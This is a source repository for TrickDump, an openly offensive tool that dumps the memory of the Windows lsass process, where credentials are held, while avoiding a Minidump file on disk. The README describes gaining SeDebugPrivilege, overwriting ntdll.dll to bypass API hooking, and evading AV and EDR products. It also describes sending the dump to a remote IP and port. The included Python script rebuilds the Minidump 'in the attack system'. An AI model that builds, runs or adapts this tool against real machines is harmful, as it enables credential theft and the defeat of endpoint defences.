├── Barrel ├── App.config ├── Properties │ └── AssemblyInfo.cs ├── Barrel.csproj ├── Program.cs └── NT.cs ├── Lock ├── App.config ├── Properties │ └── AssemblyInfo.cs ├── Program.cs ├── Lock.csproj └── NT.cs ├── Shock ├── App.config ├── Properties │ └── AssemblyInfo.cs ├── Shock.csproj ├── Program.cs └── NT.cs ├── Trick ├── App.config ├── Properties │ └── AssemblyInfo.cs ├── Trick.csproj ├── Program.cs └── NT.cs ├── TrickDump.sln ├── README.md └── create_dump.py /Barrel/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Lock/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Shock/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Trick/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Lock/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Lock")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Lock")] 13 | [assembly: AssemblyCopyright("Copyright © 2024")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("c666c98c-84c3-4a5a-a73b-2fc711cfcb7f")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Shock/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Shock")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Shock")] 13 | [assembly: AssemblyCopyright("Copyright © 2024")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("d8fc3807-ceaa-4f6a-9c8f-cc96f99d1f04")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Trick/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Trick")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Trick")] 13 | [assembly: AssemblyCopyright("Copyright © 2024")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("b92b6b67-c7c8-4548-85ee-a215d74c000d")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Barrel/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Barrel")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Barrel")] 13 | [assembly: AssemblyCopyright("Copyright © 2024")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("9e9bb94c-1fbe-4d0b-83b7-e42c83fc5d45")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Lock/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using static Lock.NT; 4 | 5 | 6 | namespace Lock 7 | { 8 | internal class Program 9 | { 10 | [StructLayout(LayoutKind.Sequential)] 11 | public struct OSVERSIONINFOEX 12 | { 13 | public int dwOSVersionInfoSize; 14 | public int dwMajorVersion; 15 | public int dwMinorVersion; 16 | public int dwBuildNumber; 17 | public int dwPlatformId; 18 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] 19 | public string szCSDVersion; 20 | public short wServicePackMajor; 21 | public short wServicePackMinor; 22 | public short wSuiteMask; 23 | public byte wProductType; 24 | public byte wReserved; 25 | } 26 | 27 | 28 | [DllImport("ntdll.dll", SetLastError = true)] 29 | public static extern uint RtlGetVersion(ref OSVERSIONINFOEX lpVersionInformation); 30 | 31 | 32 | public static OSVERSIONINFOEX getBuildNumber() 33 | { 34 | OSVERSIONINFOEX osVersionInfo = new OSVERSIONINFOEX(); 35 | osVersionInfo.dwOSVersionInfoSize = Marshal.SizeOf(typeof(OSVERSIONINFOEX)); 36 | RtlGetVersion(ref osVersionInfo); 37 | return osVersionInfo; 38 | } 39 | 40 | 41 | public static string ToJson(string[] array) 42 | { 43 | string json_str = "{"; 44 | for (int i = 0; i < array.Length; i++) 45 | { 46 | json_str += "\"field" + i.ToString() + "\" : \"" + array[i] + "\" , "; 47 | } 48 | return (json_str.Substring(0, json_str.Length - 3) + "}"); 49 | } 50 | 51 | 52 | public static string ToJsonArray(string[] array) 53 | { 54 | string json_str = "["; 55 | for (int i = 0; i < array.Length; i++) 56 | { 57 | json_str += array[i] + ", "; 58 | } 59 | return (json_str.Substring(0, json_str.Length - 2) + "]"); 60 | } 61 | 62 | 63 | static void WriteToFile(string path, string content) 64 | { 65 | System.IO.File.WriteAllText(path, content); 66 | Console.WriteLine("[+] File " + path + " generated."); 67 | } 68 | 69 | 70 | static void Lock(string file_name) { 71 | OSVERSIONINFOEX osVersionInfo = getBuildNumber(); 72 | string[] aux_array = { osVersionInfo.dwMajorVersion.ToString(), osVersionInfo.dwMinorVersion.ToString(), osVersionInfo.dwBuildNumber.ToString() }; 73 | string aux_array_json = ToJson(aux_array); 74 | string[] aux_array_1 = { aux_array_json }; 75 | string lock_json_content = ToJsonArray(aux_array_1); 76 | WriteToFile(file_name, lock_json_content); 77 | } 78 | 79 | 80 | static void Main(string[] args) 81 | { 82 | // Replace ntdll library 83 | string option = "default"; 84 | string wildcard_option = ""; 85 | if (args.Length >= 1) 86 | { 87 | option = args[0]; 88 | } 89 | if (args.Length >= 2) 90 | { 91 | wildcard_option = args[1]; 92 | } 93 | ReplaceLibrary(option, wildcard_option); 94 | 95 | // Get OS information. Argument: Name of JSON file 96 | Lock("lock.json"); 97 | } 98 | } 99 | } -------------------------------------------------------------------------------- /Lock/Lock.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {C666C98C-84C3-4A5A-A73B-2FC711CFCB7F} 8 | Exe 9 | Lock 10 | Lock 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | true 26 | 27 | 28 | AnyCPU 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | true 36 | 37 | 38 | true 39 | bin\x64\Debug\ 40 | DEBUG;TRACE 41 | full 42 | x64 43 | 7.3 44 | prompt 45 | true 46 | true 47 | 48 | 49 | bin\x64\Release\ 50 | TRACE 51 | true 52 | pdbonly 53 | x64 54 | 7.3 55 | prompt 56 | true 57 | true 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | -------------------------------------------------------------------------------- /Shock/Shock.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {D8FC3807-CEAA-4F6A-9C8F-CC96F99D1F04} 8 | Exe 9 | Shock 10 | Shock 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | true 26 | 27 | 28 | AnyCPU 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | true 36 | 37 | 38 | true 39 | bin\x64\Debug\ 40 | DEBUG;TRACE 41 | full 42 | x64 43 | 7.3 44 | prompt 45 | true 46 | true 47 | 48 | 49 | bin\x64\Release\ 50 | TRACE 51 | true 52 | pdbonly 53 | x64 54 | 7.3 55 | prompt 56 | true 57 | true 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | -------------------------------------------------------------------------------- /Trick/Trick.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {B92B6B67-C7C8-4548-85EE-A215D74C000D} 8 | Exe 9 | Trick 10 | Trick 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | true 26 | 27 | 28 | AnyCPU 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | true 36 | 37 | 38 | true 39 | bin\x64\Debug\ 40 | DEBUG;TRACE 41 | true 42 | full 43 | x64 44 | 7.3 45 | prompt 46 | true 47 | 48 | 49 | bin\x64\Release\ 50 | TRACE 51 | true 52 | true 53 | pdbonly 54 | x64 55 | 7.3 56 | prompt 57 | true 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | -------------------------------------------------------------------------------- /Barrel/Barrel.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {9E9BB94C-1FBE-4D0B-83B7-E42C83FC5D45} 8 | Exe 9 | Barrel 10 | Barrel 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | true 26 | 27 | 28 | x64 29 | pdbonly 30 | true 31 | bin\x64\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | true 36 | 37 | 38 | true 39 | bin\x64\Debug\ 40 | DEBUG;TRACE 41 | true 42 | full 43 | x64 44 | 7.3 45 | prompt 46 | true 47 | 48 | 49 | bin\x64\Release\ 50 | TRACE 51 | true 52 | true 53 | pdbonly 54 | x64 55 | 7.3 56 | prompt 57 | true 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | -------------------------------------------------------------------------------- /TrickDump.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.9.34616.47 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Lock", "Lock\Lock.csproj", "{C666C98C-84C3-4A5A-A73B-2FC711CFCB7F}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Shock", "Shock\Shock.csproj", "{D8FC3807-CEAA-4F6A-9C8F-CC96F99D1F04}" 9 | EndProject 10 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Barrel", "Barrel\Barrel.csproj", "{9E9BB94C-1FBE-4D0B-83B7-E42C83FC5D45}" 11 | EndProject 12 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Trick", "Trick\Trick.csproj", "{B92B6B67-C7C8-4548-85EE-A215D74C000D}" 13 | EndProject 14 | Global 15 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 16 | Debug|Any CPU = Debug|Any CPU 17 | Debug|x64 = Debug|x64 18 | Release|Any CPU = Release|Any CPU 19 | Release|x64 = Release|x64 20 | EndGlobalSection 21 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 22 | {C666C98C-84C3-4A5A-A73B-2FC711CFCB7F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 23 | {C666C98C-84C3-4A5A-A73B-2FC711CFCB7F}.Debug|Any CPU.Build.0 = Debug|Any CPU 24 | {C666C98C-84C3-4A5A-A73B-2FC711CFCB7F}.Debug|x64.ActiveCfg = Debug|x64 25 | {C666C98C-84C3-4A5A-A73B-2FC711CFCB7F}.Debug|x64.Build.0 = Debug|x64 26 | {C666C98C-84C3-4A5A-A73B-2FC711CFCB7F}.Release|Any CPU.ActiveCfg = Release|Any CPU 27 | {C666C98C-84C3-4A5A-A73B-2FC711CFCB7F}.Release|Any CPU.Build.0 = Release|Any CPU 28 | {C666C98C-84C3-4A5A-A73B-2FC711CFCB7F}.Release|x64.ActiveCfg = Release|x64 29 | {C666C98C-84C3-4A5A-A73B-2FC711CFCB7F}.Release|x64.Build.0 = Release|x64 30 | {D8FC3807-CEAA-4F6A-9C8F-CC96F99D1F04}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 31 | {D8FC3807-CEAA-4F6A-9C8F-CC96F99D1F04}.Debug|Any CPU.Build.0 = Debug|Any CPU 32 | {D8FC3807-CEAA-4F6A-9C8F-CC96F99D1F04}.Debug|x64.ActiveCfg = Debug|x64 33 | {D8FC3807-CEAA-4F6A-9C8F-CC96F99D1F04}.Debug|x64.Build.0 = Debug|x64 34 | {D8FC3807-CEAA-4F6A-9C8F-CC96F99D1F04}.Release|Any CPU.ActiveCfg = Release|Any CPU 35 | {D8FC3807-CEAA-4F6A-9C8F-CC96F99D1F04}.Release|Any CPU.Build.0 = Release|Any CPU 36 | {D8FC3807-CEAA-4F6A-9C8F-CC96F99D1F04}.Release|x64.ActiveCfg = Release|x64 37 | {D8FC3807-CEAA-4F6A-9C8F-CC96F99D1F04}.Release|x64.Build.0 = Release|x64 38 | {9E9BB94C-1FBE-4D0B-83B7-E42C83FC5D45}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 39 | {9E9BB94C-1FBE-4D0B-83B7-E42C83FC5D45}.Debug|Any CPU.Build.0 = Debug|Any CPU 40 | {9E9BB94C-1FBE-4D0B-83B7-E42C83FC5D45}.Debug|x64.ActiveCfg = Debug|Any CPU 41 | {9E9BB94C-1FBE-4D0B-83B7-E42C83FC5D45}.Debug|x64.Build.0 = Debug|Any CPU 42 | {9E9BB94C-1FBE-4D0B-83B7-E42C83FC5D45}.Release|Any CPU.ActiveCfg = Release|Any CPU 43 | {9E9BB94C-1FBE-4D0B-83B7-E42C83FC5D45}.Release|Any CPU.Build.0 = Release|Any CPU 44 | {9E9BB94C-1FBE-4D0B-83B7-E42C83FC5D45}.Release|x64.ActiveCfg = Release|x64 45 | {9E9BB94C-1FBE-4D0B-83B7-E42C83FC5D45}.Release|x64.Build.0 = Release|x64 46 | {B92B6B67-C7C8-4548-85EE-A215D74C000D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 47 | {B92B6B67-C7C8-4548-85EE-A215D74C000D}.Debug|Any CPU.Build.0 = Debug|Any CPU 48 | {B92B6B67-C7C8-4548-85EE-A215D74C000D}.Debug|x64.ActiveCfg = Debug|Any CPU 49 | {B92B6B67-C7C8-4548-85EE-A215D74C000D}.Debug|x64.Build.0 = Debug|Any CPU 50 | {B92B6B67-C7C8-4548-85EE-A215D74C000D}.Release|Any CPU.ActiveCfg = Release|Any CPU 51 | {B92B6B67-C7C8-4548-85EE-A215D74C000D}.Release|Any CPU.Build.0 = Release|Any CPU 52 | {B92B6B67-C7C8-4548-85EE-A215D74C000D}.Release|x64.ActiveCfg = Release|x64 53 | {B92B6B67-C7C8-4548-85EE-A215D74C000D}.Release|x64.Build.0 = Release|x64 54 | EndGlobalSection 55 | GlobalSection(SolutionProperties) = preSolution 56 | HideSolutionNode = FALSE 57 | EndGlobalSection 58 | GlobalSection(ExtensibilityGlobals) = postSolution 59 | SolutionGuid = {F6446D12-9834-4D11-A43F-7793C4A6938D} 60 | EndGlobalSection 61 | EndGlobal 62 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # TrickDump 2 | 3 | TrickDump dumps the lsass process without creating a Minidump file, generating instead 3 JSON and 1 ZIP file with the memory region dumps. In three steps: 4 | 5 | - **Lock**: Get OS information using RtlGetVersion. 6 | 7 | - **Shock**: Get SeDebugPrivilege privilege with NtOpenProcessToken and NtAdjustPrivilegeToken, open a handle with NtGetNextProcess and NtQueryInformationProcess and then get modules information using NtQueryInformationProcess and NtReadVirtualMemory. 8 | 9 | - **Barrel**: Get SeDebugPrivilege privilege, open a handle and then get information and dump memory regions using NtQueryVirtualMemory and NtReadVirtualMemory. 10 | 11 | 12 | ![img](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/trickdump/trickdump.drawio.png) 13 | 14 | 15 | In the attack system, use the *create_dump.py* script to generate the Minidump file: 16 | 17 | ``` 18 | python3 create_dump.py [-l LOCK_JSON] [-s SHOCK_JSON] [-b BARREL_JSON] [-z BARREL_ZIP] [-o OUTPUT_FILE] 19 | ``` 20 | 21 | The benefits of this technique are: 22 | 23 | - There is never a valid Minidump file in disk, memory or the network traffic. 24 | 25 | - There is not a single program or process executing the whole attack but three separate ones, which may raise less flags. 26 | - If you prefer to run only one program you can use [Trick](#all-in-one). 27 | - If you already have information about the OS of the target machine you can skip the first step ("Lock"). 28 | 29 | 30 | - The programs only use NTAPIS (this project is a variant of [NativeDump](https://github.com/ricardojoserf/NativeDump)). 31 | 32 | - It does not use OpenProcess or NtOpenProcess to get the lsass process handle with the *PROCESS_VM_OPERATION* and *PROCESS_VM_WRITE* access rights. 33 | 34 | - Each program allows to overwrite the ntdll.dll library ".text" section to bypass API hooking: 35 | - "disk": Using a DLL already on disk. If a second argument is not used the path is "C:\Windows\System32\ntdll.dll". 36 | - "knowndlls": Using the KnownDlls folder. 37 | - "debugproc": Using a process created in debug mode. If a second argument is not used the process is "c:\windows\system32\calc.exe". 38 | 39 | It is available in different languages: 40 | 41 | - .NET: The main branch 42 | - Python: The [python-flavour branch](https://github.com/ricardojoserf/TrickDump/tree/python-flavour) 43 | - Golang: The [golang-flavour branch](https://github.com/ricardojoserf/TrickDump/tree/golang-flavour) 44 | - C/C++: The [c-flavour branch](https://github.com/ricardojoserf/TrickDump/tree/c-flavour) 45 | - BOF files: The [bof-flavour branch](https://github.com/ricardojoserf/TrickDump/tree/bof-flavour) 46 | - Crystal: The [crystal-flavour branch](https://github.com/ricardojoserf/TrickDump/tree/crystal-flavour) 47 | - Nim: The [nim-flavour branch](https://github.com/ricardojoserf/TrickDump/tree/nim-flavour) 48 | - Rust: The [rust-flavour branch](https://github.com/ricardojoserf/TrickDump/tree/rust-flavour) 49 | 50 | It will not work if PPL is enabled, ~~the PEB structure is unreadable~~ or the binaries are not compiled as 64-bit. **Update**: Now it is possible to execute the programs without reading the PEB, check the [peb-unreadable branch](https://github.com/ricardojoserf/TrickDump/tree/peb-unreadable) :) 51 | 52 | The technique works fine on the latest versions of Windows and has been tested against common AV and EDR solutions, but stealthiness will depend on the "flavour" you choose: use uncommon languages and customize the binaries for the best results! 53 | 54 | 55 | ------------------------- 56 | 57 | ## Usage 58 | 59 | The programs are executed in the victim system, creating three JSON files (with memory regions information) and one zip file (with each memory region dump). 60 | 61 | ``` 62 | Lock.exe [disk/knowndlls/debugproc] 63 | ``` 64 | 65 | ``` 66 | Shock.exe [disk/knowndlls/debugproc] 67 | ``` 68 | 69 | ``` 70 | Barrel.exe [disk/knowndlls/debugproc] 71 | ``` 72 | You can execute the programs directly without overwriting the ntdll.dll library: 73 | 74 | ![img1](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/trickdump/Screenshot_1.png) 75 | 76 | Or use one of the three different overwrite techniques: 77 | 78 | ![img2](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/trickdump/Screenshot_2.png) 79 | 80 | Then the Minidump file is generated: 81 | 82 | ![img3](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/trickdump/Screenshot_3.png) 83 | 84 | ------------------------- 85 | 86 | ## All in one 87 | 88 | If you prefer to execute only one binary, Trick.exe generates a ZIP file containing the 3 JSON files and the ZIP file with the memory regions: 89 | 90 | ``` 91 | Trick.exe [disk/knowndlls/debugproc] [IP_ADDRESS] [PORT] 92 | ``` 93 | 94 | You can create the ZIP file locally, optionally using a Ntdll overwrite method: 95 | 96 | ![img5](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/trickdump/Screenshot_5.png) 97 | 98 | Or send it to a remote port using the second and third parameter as the IP address and the port: 99 | 100 | ![img6](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/trickdump/Screenshot_6.png) 101 | 102 | In both cases you get a ZIP file like this, unzip it and create the Minidump file: 103 | 104 | ![img7](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/trickdump/Screenshot_7.png) 105 | -------------------------------------------------------------------------------- /create_dump.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import json 4 | import zipfile 5 | import argparse 6 | 7 | 8 | def get_args(): 9 | parser = argparse.ArgumentParser() 10 | parser.add_argument('-l', '--lock_json', required=False, default='lock.json', action='store', help='File path for lock.json') 11 | parser.add_argument('-s', '--shock_json', required=False, default='shock.json', action='store', help='File path for shock.json') 12 | parser.add_argument('-b', '--barrel_json', required=False, default='barrel.json', action='store', help='File path for barrel.json') 13 | parser.add_argument('-z', '--barrel_zip', required=False, default='barrel.zip', action='store', help='Zip file containing the regions memory dumps') 14 | parser.add_argument('-o', '--output_file', required=False, default='oogie.dmp', action='store', help='Dump file name') 15 | my_args = parser.parse_args() 16 | return my_args 17 | 18 | 19 | def read_binary_file(file_path): 20 | with open(file_path, 'rb') as file: 21 | byte_array = file.read() 22 | return byte_array 23 | 24 | 25 | def get_dump_bytearr(lock_json, shock_json, barrel_json, zip_file): 26 | # Calculations 27 | number_modules = str(len(shock_json)) 28 | modulelist_size = 4 29 | modulelist_size += 108*int(number_modules) 30 | for module in shock_json: 31 | module_fullpath_len = len(module.get("field1")) 32 | modulelist_size += (module_fullpath_len*2 + 8) 33 | 34 | mem64list_offset = modulelist_size + 0x7c 35 | mem64list_size = 16 + 16*len(barrel_json) 36 | offset_memory_regions = mem64list_offset + mem64list_size 37 | 38 | print("[+] Total number of modules: \t" + number_modules) 39 | print("[+] ModuleListStream size: \t" + str(modulelist_size)) 40 | print("[+] Mem64List offset: \t\t" + str(mem64list_offset)) 41 | print("[+] Mem64List size: \t\t" + str(mem64list_size)) 42 | 43 | # Header 44 | header = b'\x4d\x44\x4d\x50' # Signature 45 | header += b'\x93\xa7' # Version 46 | header += b'\x00\x00' # ImplementationVersion 47 | header += b'\x03\x00\x00\x00' # NumberOfStreams 48 | header += b'\x20\x00\x00\x00' # StreamDirectoryRva 49 | header += b'\x00'*(32 - len(header)) # Other fields 50 | 51 | # Stream Directory 52 | stream_directory = b'\x04\x00\x00\x00' # Type 4 = ModuleListStream 53 | stream_directory += modulelist_size.to_bytes(4, 'little') # Size 54 | stream_directory += b'\x7c\x00\x00\x00' # Address 55 | 56 | stream_directory += b'\x07\x00\x00\x00' # Type 7 = SystemInfoStream 57 | stream_directory += b'\x38\x00\x00\x00' # Size = 56 (constant) 58 | stream_directory += b'\x44\x00\x00\x00' # Address = 0x44 (constant) 59 | 60 | stream_directory += b'\x09\x00\x00\x00' # Type 9 = Memory64ListStream 61 | stream_directory += mem64list_size.to_bytes(4, 'little') # # Size 62 | stream_directory += mem64list_offset.to_bytes(4, 'little') # Address 63 | 64 | # SystemInfoStream 65 | processor_architecture = 9 66 | majorversion = int(lock_json.get("field0")) 67 | minorversion = int(lock_json.get("field1")) 68 | build_number = int(lock_json.get("field2")) 69 | systeminfo_stream = processor_architecture.to_bytes(2, 'little') # Processor architecture 70 | systeminfo_stream += b'\x00'*6 71 | systeminfo_stream += majorversion.to_bytes(4, 'little') # Major version 72 | systeminfo_stream += minorversion.to_bytes(4, 'little') # Minor version 73 | systeminfo_stream += build_number.to_bytes(4, 'little') # Build number 74 | systeminfo_stream += b'\x00'*(56-len(systeminfo_stream)) 75 | 76 | # ModuleListStream 77 | modulelist_stream = int(number_modules).to_bytes(4, 'little') # NumberOfModules 78 | pointer_index = 0x7c 79 | pointer_index += len(modulelist_stream) # 4 80 | pointer_index += 108*int(number_modules) 81 | 82 | for module in shock_json: 83 | modulelist_stream += int(module.get("field2"),16).to_bytes(8, 'little') # Module Address 84 | modulelist_stream += int(module.get("field3")).to_bytes(8, 'little') # Module Size 85 | modulelist_stream += b'\x00'*4 86 | modulelist_stream += pointer_index.to_bytes(8, 'little') # Pointer to unicode string 87 | full_path = module.get("field1") 88 | pointer_index += len(full_path)*2 + 8 89 | modulelist_stream += b'\x00'*(108-(8+8+4+8)) 90 | 91 | for module in shock_json: 92 | full_path = module.get("field1") 93 | unicode_bytearr = bytearray(full_path.encode('utf-16-le')) 94 | modulelist_stream += (len(full_path)*2).to_bytes(4, 'little') # Unicode length 95 | modulelist_stream += unicode_bytearr # Unicode string 96 | modulelist_stream += 4*b'\x00' # Empty character + padding 97 | 98 | # Memory64List 99 | memory64list_stream = len(barrel_json).to_bytes(8, 'little') # NumberOfEntries 100 | memory64list_stream += offset_memory_regions.to_bytes(8, 'little') # MemoryRegionsBaseAddress 101 | for mem64 in barrel_json: 102 | memory64list_stream += int(mem64.get("field1"),16).to_bytes(8, 'little') # Mem64 Address 103 | memory64list_stream += int(mem64.get("field2")).to_bytes(8, 'little') # Mem64 Size 104 | 105 | # Add memory regions from zip file 106 | memory_bytearr = b'' 107 | 108 | with zipfile.ZipFile(zip_file, 'r') as zip_file_handle: 109 | for file_info in zip_file_handle.infolist(): 110 | with zip_file_handle.open(file_info.filename) as file: 111 | file_bytes = file.read() 112 | memory_bytearr += file_bytes 113 | 114 | dump_file = header + stream_directory + systeminfo_stream + modulelist_stream + memory64list_stream + memory_bytearr 115 | return dump_file 116 | 117 | 118 | def create_file(output_file, dump_file): 119 | with open(output_file, "wb") as binary_file: 120 | binary_file.write(dump_file) 121 | 122 | 123 | def show_banner(): 124 | print(" _______ _ _ _____ ") 125 | print(" |__ __| (_) | | | __ \\ ") 126 | print(" | |_ __ _ ___| | _| | | |_ _ _ __ ___ _ __ ") 127 | print(" | | '__| |/ __| |/ / | | | | | | '_ ` _ \\| '_ \\ ") 128 | print(" | | | | | (__| <| |__| | |_| | | | | | | |_) |") 129 | 